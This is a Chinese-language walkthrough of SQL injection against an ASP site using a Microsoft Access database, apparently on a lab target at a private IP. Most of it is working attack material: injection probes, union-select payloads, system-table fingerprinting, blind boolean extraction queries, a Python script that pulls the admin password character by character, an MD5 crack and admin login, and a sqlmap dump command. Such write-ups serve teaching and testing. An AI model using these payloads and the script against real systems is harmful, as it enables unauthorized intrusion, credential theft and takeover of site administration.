0x00:前言
一次Access数据库注入,微软办公软件-关系数据库管理系统
针对AccessAsp注入的脚本:https://www.cnblogs.com/liqik/p/12353964.html
0x01:一般注入流程
(1)判断注入
1.在参数后面加 ‘ 、 and 1=1 和 and 1=2,判断是否存在注入点
错误的
所以这里存在注入
(2)猜解列名(字段)数
结果:22列
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin (联合查询爆显位)
(3)猜解数据库相关信息
Access注入是暴力破解,Access没有库的概念
Access数据结构:
Access数据库
表名
列名
数据
Mysql数据库的数据结构:
数据库A = 网站A
表名
列名
数据
数据库B = 网站B
表名
列名
数据
数据库C
.......
如何判断数据库类型?
利用内置数据库表获取数据库类型
and (select count(*) from sysobjects)>=0
Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
Msysobjects为Access数据库内置表
若数据库是MSS,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
猜解表名
and exists(select * from 表名)
and (select count(*) from 表名)>=0
这里的表名自己猜,一般有admin、adminstrator。。。。
猜解字段名
and exists(select 字段名 from 表名)
and (select count(字段名) from 表名)>=0
常用字段名 username password admin id 。。。。。
猜解字段内容
字段长度:and (select top 1 len(字段名) from 表名)=长度 (解释:top 1 表示admin字段的第一条记录,二分法测试长度)
字段内容:and (select top 1 asc(mid(字段名,1,1))from 表名)=ASCII码 (解释:字段名的第一条记录的第一个字母的ASCII码)
1. 手动一个一个试就可以
2. 脚本:
# -*- coding:UTF-8 -*- import requests import string url = "http://192.168.109.142:8001/Production/PRODUCT_DETAIL.asp?id=1513" guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation #字符 def getcolumnlen(): for i in range(1,30): target = url + "and (select top 1 len(password) from admin) = " + str(i) #字段名password r = requests.get(target) r.encoding = 'gb2312' if "工作服" in r.text: print("第一个字段长度:" + str(i)) return i def getmsg(len): result = "" for i in range(1,len+1): for j in range(48,127): target = url + "and (select top 1 asc(mid(password,{0},1)) from admin)= {1}".format(str(i),str(j)) r2 = requests.get(target) r2.encoding = 'gb2312' if "工作服" in r2.text: #这里只要选择正常返回的一个页面关键词就可以,比如“工作服” result += chr(j) print(result) l = getcolumnlen() getmsg(l)
3. 用Burp的爆破模块也可以爆破
密码md5解密得bendss
扫一下后台登录网址
登录后台
(4)这里还可以sqlmap
python2 sqlmap.py -u "URL" -T "admin" -C "id,password,login_count" --dump
0x03:总结
Access数据库的注入,还是和mysql有点不一样的,刚开始弄了半天的数据库名